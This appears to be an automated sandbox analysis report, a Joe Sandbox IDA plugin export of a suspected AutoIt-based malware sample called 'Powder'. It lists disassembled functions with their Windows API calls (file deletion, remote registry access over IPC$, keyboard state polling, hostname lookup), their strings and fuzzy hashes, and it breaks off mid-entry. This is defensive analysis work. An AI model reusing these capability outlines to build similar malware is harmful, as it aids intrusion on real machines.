Part of subcall function 00CE9560: _memmove.LIBCMT ref: 00CE9599
Part of subcall function 00CE9560: _memmove.LIBCMT ref: 00CE95A8

_wcscmp.LIBCMT ref: 00CE97AA

Part of subcall function 00CE9CF1: _wcscmp.LIBCMT ref: 00CE9DE1
Part of subcall function 00CE9CF1: _wcscmp.LIBCMT ref: 00CE9DF4

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00CE9A0D
_wcsncpy.LIBCMT ref: 00CE9A80
DeleteFileW.KERNEL32(?,?), ref: 00CE9AB6
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00CE9ACC
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00CE9ADD
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00CE9AEF

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: da30a0554e96cd1493fdb9c46495539dc7161d56d46162da41832a2d30d66895
Instruction ID: b102dab4fce74eba202dbbcd765205ffc57fac14b23ec146a862d789045cb6d2
Opcode Fuzzy Hash: da30a0554e96cd1493fdb9c46495539dc7161d56d46162da41832a2d30d66895
Instruction Fuzzy Hash: 44C14BB1900229AECF25DF95CC85EDEBBBDEF45300F0040AAF609E7151EB709A859F65

Function 00C95BD7 Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C95BF1
GetMenuItemCount.USER32(00D47890), ref: 00CD0E7B
GetMenuItemCount.USER32(00D47890), ref: 00CD0F2B
GetCursorPos.USER32(?), ref: 00CD0F6F
SetForegroundWindow.USER32(00000000), ref: 00CD0F78
TrackPopupMenuEx.USER32(00D47890,00000000,?,00000000,00000000,00000000), ref: 00CD0F8B
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00CD0F97

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 2751501086-0
Opcode ID: 698ba097a047dfda7d9ba582064c6b87689c57a4177f064de05bd3fadee38bbb
Instruction ID: a5cb9e58ac8b2fc5194ac8e896db401fcd1c79138ced592c1c8f5930a7a84c45
Opcode Fuzzy Hash: 698ba097a047dfda7d9ba582064c6b87689c57a4177f064de05bd3fadee38bbb
Instruction Fuzzy Hash: 2E711730644705BFFB219B59DC89FAABF69FF04324F244207F624A62D1CBB16950DBA0

Function 00CD83FA Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00C91821: _memmove.LIBCMT ref: 00C9185B

_memset.LIBCMT ref: 00CD8489
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00CD84BE
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00CD84DA
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00CD84F6
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00CD8520
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00CD8548
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00CD8553
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00CD8558

Strings

\IPC$, xrefs: 00CD84A0
\CLSID, xrefs: 00CD8440
SOFTWARE\Classes\, xrefs: 00CD842A

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 45a6033247df9ff5d20a8d3708256628ea817269ceb7895eb88b6adae8e4c8ee
Instruction ID: b134504e7942f3d7d327212559375eb8b4876567147f0a77b7cafbcbe05581ac
Opcode Fuzzy Hash: 45a6033247df9ff5d20a8d3708256628ea817269ceb7895eb88b6adae8e4c8ee
Instruction Fuzzy Hash: D3410972D1022DABCF11EBA4DC569EDB778FF04340F044169F915A2251EA719E49DBA0

Function 00D0147A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00D0040D,?,?), ref: 00D01491

Strings

HKEY_USERS, xrefs: 00D01592
HKU, xrefs: 00D015A3
HKCC, xrefs: 00D0155F
HKLM, xrefs: 00D0150F
HKEY_CURRENT_CONFIG, xrefs: 00D0154E
HKEY_CURRENT_USER, xrefs: 00D01570
HKEY_LOCAL_MACHINE, xrefs: 00D014FA
HKEY_CLASSES_ROOT, xrefs: 00D01524
HKCR, xrefs: 00D01539
HKCU, xrefs: 00D01581

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 002a219eff62b2741df21476c26c8a2000874221c7a7bf76f6b47bfab50a36ea
Instruction ID: a3c1fed89bc41ca5b5fbd0c7c1eab9e31278c17f0d93497c673f43a816a5acd6
Opcode Fuzzy Hash: 002a219eff62b2741df21476c26c8a2000874221c7a7bf76f6b47bfab50a36ea
Instruction Fuzzy Hash: 1841263591025A8BDF04EF90DC85AEA3774BF52344F644415FC9A6B2A2DB30ED19EB70

Function 00CE5882 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00C91821: _memmove.LIBCMT ref: 00C9185B

Part of subcall function 00C9153B: _memmove.LIBCMT ref: 00C915C4

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00CE58EB
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00CE5901
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00CE5912
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00CE5924
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00CE5935

Strings

play PlayMe, xrefs: 00CE5930
open , xrefs: 00CE589A
play PlayMe wait, xrefs: 00CE591F
alias PlayMe, xrefs: 00CE58C4
close PlayMe, xrefs: 00CE58FC, 00CE5929
status PlayMe mode, xrefs: 00CE58E6

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: ed6efa4c93081c12c0676c28cb4ac0c3e8adb8c256c19b216c0c376438f4a0e1
Instruction ID: 08c77fdc14abb023d622412f6140806fd0caeb2c975204575bc8a2488d104d3c
Opcode Fuzzy Hash: ed6efa4c93081c12c0676c28cb4ac0c3e8adb8c256c19b216c0c376438f4a0e1
Instruction Fuzzy Hash: BD118231A9016EFDDB20B7A2DC5ADFF6B7CEBD1B60F44042AB911A30D1DE601A09C5B0

Function 00CE4C0C Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00CE4C27
gethostname.WSOCK32(?,00000100), ref: 00CE4C41
gethostbyname.WSOCK32(?), ref: 00CE4C4E
_wcscpy.LIBCMT ref: 00CE4C76
_memmove.LIBCMT ref: 00CE4C89
inet_ntoa.WSOCK32(?), ref: 00CE4C94
_strcat.LIBCMT ref: 00CE4CA2
_wcscpy.LIBCMT ref: 00CE4CB9
WSACleanup.WSOCK32 ref: 00CE4CC7
_wcscpy.LIBCMT ref: 00CE4CD5

Strings

0.0.0.0, xrefs: 00CE4C70

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: a72ff3adb98429be62e3c6b5917e6c5f203041f862d5983bde0e76b295ffd6b3
Instruction ID: 439a4de9c5462ac3c635633b9ece947b44094fe8945a12dd5699413a4c1d9433
Opcode Fuzzy Hash: a72ff3adb98429be62e3c6b5917e6c5f203041f862d5983bde0e76b295ffd6b3
Instruction Fuzzy Hash: 94113A31504219BFCB14BB759C4AEEA7BBCDF41710F1441A5F404D3191EFB09AC2DA60

Function 00CE5530 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00CE5535

Part of subcall function 00CA083E: timeGetTime.WINMM(?,00000002,00C8C22C), ref: 00CA0842

Sleep.KERNEL32(0000000A), ref: 00CE5561
EnumThreadWindows.USER32(?,Function_000654E3,00000000), ref: 00CE5585
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00CE55A7
SetActiveWindow.USER32 ref: 00CE55C6
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00CE55D4
SendMessageW.USER32(00000010,00000000,00000000), ref: 00CE55F3
Sleep.KERNEL32(000000FA), ref: 00CE55FE
IsWindow.USER32 ref: 00CE560A
EndDialog.USER32(00000000), ref: 00CE561B

Strings

BUTTON, xrefs: 00CE5599

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: a9992d2d86d717b13019220a055adb7f3033192a03a41745705d9f2c225e349c
Instruction ID: 8f26c05f605316cc8d1bf5b2d101d278488bb423def1d7ff3ea0d55d39378ee4
Opcode Fuzzy Hash: a9992d2d86d717b13019220a055adb7f3033192a03a41745705d9f2c225e349c
Instruction Fuzzy Hash: E9218178605784BFE7406F61EC89A6A3F6AEB4638AF005018F001C63A1DFB19D91EA71

Function 00CEDBD0 Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00C84D37: __itow.LIBCMT ref: 00C84D62
Part of subcall function 00C84D37: __swprintf.LIBCMT ref: 00C84DAC

CoInitialize.OLE32(00000000), ref: 00CEDC2D
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00CEDCC0
SHGetDesktopFolder.SHELL32(?), ref: 00CEDCD4
CoCreateInstance.OLE32(00D13D4C,00000000,00000001,00D3B86C,?), ref: 00CEDD20
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00CEDD8F
CoTaskMemFree.OLE32(?,?), ref: 00CEDDE7
_memset.LIBCMT ref: 00CEDE24
SHBrowseForFolderW.SHELL32(?), ref: 00CEDE60
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00CEDE83
CoTaskMemFree.OLE32(00000000), ref: 00CEDE8A
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00CEDEC1
CoUninitialize.OLE32(00000001,00000000), ref: 00CEDEC3

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 96c7c891fb725364e2db6acc75d5183ebc4c2e5423f032c17392ac0c18f8ec7b
Instruction ID: cfef5af40440232db9ea45e5ce90304658a256a20511f4bcccbeb5d78ae6a542
Opcode Fuzzy Hash: 96c7c891fb725364e2db6acc75d5183ebc4c2e5423f032c17392ac0c18f8ec7b
Instruction Fuzzy Hash: 10B10B75A00209AFDB04EFA5C889DAEBBB9FF48304B148459F906EB351DB70EE45DB50

Function 00CE081B Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00CE0896
SetKeyboardState.USER32(?), ref: 00CE0901
GetAsyncKeyState.USER32(000000A0), ref: 00CE0921
GetKeyState.USER32(000000A0), ref: 00CE0938
GetAsyncKeyState.USER32(000000A1), ref: 00CE0967
GetKeyState.USER32(000000A1), ref: 00CE0978
GetAsyncKeyState.USER32(00000011), ref: 00CE09A4
GetKeyState.USER32(00000011), ref: 00CE09B2
GetAsyncKeyState.USER32(00000012), ref: 00CE09DB
GetKeyState.USER32(00000012), ref: 00CE09E9
GetAsyncKeyState.USER32(0000005B), ref: 00CE0A12
GetKeyState.USER32(0000005B), ref: 00CE0A20

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: acfa3f1412fc28bc4cfde8c3995ebab3a08b95dd65abe2c41edfbe6ce9f9c9fd
Instruction ID: b5848830b7ab15c782d1cd6ec1ff6ff53e224c710ec01e73dd4d07ad9cc9e16f
Opcode Fuzzy Hash: acfa3f1412fc28bc4cfde8c3995ebab3a08b95dd65abe2c41edfbe6ce9f9c9fd
Instruction Fuzzy Hash: 5151B730A047C829FB35EBA244117AABFB49F11380F188599D9D2571C3DAE49BCCCBE1

Function 00CDCE00 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00CDCE1C
GetWindowRect.USER32(00000000,?), ref: 00CDCE2E
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00CDCE8C
GetDlgItem.USER32(?,00000002), ref: 00CDCE97
GetWindowRect.USER32(00000000,?), ref: 00CDCEA9
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00CDCEFD
GetDlgItem.USER32(?,000003E9), ref: 00CDCF0B
GetWindowRect.USER32(00000000,?), ref: 00CDCF1C
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00CDCF5F
GetDlgItem.USER32(?,000003EA), ref: 00CDCF6D
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00CDCF8A
InvalidateRect.USER32(?,00000000,00000001), ref: 00CDCF97

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 022a3b798a8c3643bd6fb98e0eff5b66dd9e1096e851ace55cc5dceb62a29b38
Instruction ID: 5d0e20bc1524efe254b9eeaed608f499a454dd5caac779642da9b4b836e97b5b
Opcode Fuzzy Hash: 022a3b798a8c3643bd6fb98e0eff5b66dd9e1096e851ace55cc5dceb62a29b38
Instruction Fuzzy Hash: D6512071B00205BFDB18DFA9CD95AAEBBB6EB88710F148129F615D6390DBB09D41CB50

Function 00C823F7 Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00C81F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00C82412,?,00000000,?,?,?,?,00C81AA7,00000000,?), ref: 00C81F76

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00C824AF
KillTimer.USER32(-00000001,?,?,?,?,00C81AA7,00000000,?,?,00C81EBE,?,?), ref: 00C8254A
DestroyAcceleratorTable.USER32(00000000), ref: 00CBBFE7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00C81AA7,00000000,?,?,00C81EBE,?,?), ref: 00CBC018
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00C81AA7,00000000,?,?,00C81EBE,?,?), ref: 00CBC02F
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00C81AA7,00000000,?,?,00C81EBE,?,?), ref: 00CBC04B
DeleteObject.GDI32(00000000), ref: 00CBC05D

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 95cc50004018844c581a16dabaa332bf93e801d56dddf001f42b4da367b92afc
Instruction ID: 5150997c016f93879ac51171ec30840217cc339213d9559b6970f5bcf305280b
Opcode Fuzzy Hash: 95cc50004018844c581a16dabaa332bf93e801d56dddf001f42b4da367b92afc
Instruction Fuzzy Hash: D261BD35104710DFDB25BF15D98CB6A7BF1FB8131AF108929E46286AA0C771AD81DFB4

Function 00C82581 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 00C829AB: GetWindowLongW.USER32(?,000000EB), ref: 00C829BC

GetSysColor.USER32(0000000F), ref: 00C825AF

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 22e89bb21588ce18d8ecd6823ecec1902c0f26a5c9a29584e44ab96146cbe58b
Instruction ID: bb6d40a309f3159c5c96aecf1940681426d68dca61fb8a9e2cdcf250ddc40543
Opcode Fuzzy Hash: 22e89bb21588ce18d8ecd6823ecec1902c0f26a5c9a29584e44ab96146cbe58b
Instruction Fuzzy Hash: BA41C330000204AFDB206F68988CBF93B66EB06339F148265FD75CA2E5DB708D82DB25

Function 00C929BE Relevance: 18.0, APIs: 4, Strings: 6, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00CA0B8B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00C92A3E,?,00008000), ref: 00CA0BA7

Part of subcall function 00CA0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00C92A58,?,00008000), ref: 00CA02A4

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00C92ADF
SetCurrentDirectoryW.KERNEL32(?), ref: 00C92C2C

Part of subcall function 00C93EBE: _wcscpy.LIBCMT ref: 00C93EF6

Part of subcall function 00CA386D: _iswctype.LIBCMT ref: 00CA3875

Strings

AU3!, xrefs: 00C92A93
Unterminated string, xrefs: 00CD00D6
Bad directive syntax error, xrefs: 00CD008F
EA06, xrefs: 00CCFD48
Error opening the file, xrefs: 00CCFD33, 00CCFDAA
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00CCFD17

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-3738523708
Opcode ID: 68435bab70780de3bca9b91f286c22ee24f18e166f3d52fd6dce478115f0f014
Instruction ID: 678031659864b56916b84bde16571003a0bd69d38b9b4623500e269c07499a51
Opcode Fuzzy Hash: 68435bab70780de3bca9b91f286c22ee24f18e166f3d52fd6dce478115f0f014
Instruction Fuzzy Hash: 30029030108341AFCB24EF24C855AAFBBE5FF85354F14491EF59A932A2DB30DA49DB52

Function 00CEAEEA Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00D10980), ref: 00CEAF4E
GetDriveTypeW.KERNEL32(00000061,00D3B5F0,00000061), ref: 00CEB018
_wcscpy.LIBCMT ref: 00CEB042

Strings

network, xrefs: 00CEAFAC
removable, xrefs: 00CEAF80
unknown, xrefs: 00CEAFD9
ramdisk, xrefs: 00CEAFC2
cdrom, xrefs: 00CEAF6A
all, xrefs: 00CEAF54
fixed, xrefs: 00CEAF96

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: fa0c7a086c4934e88b9b38a6c04f5539d34e0d8f0e51f5e1388289aa43806ca6
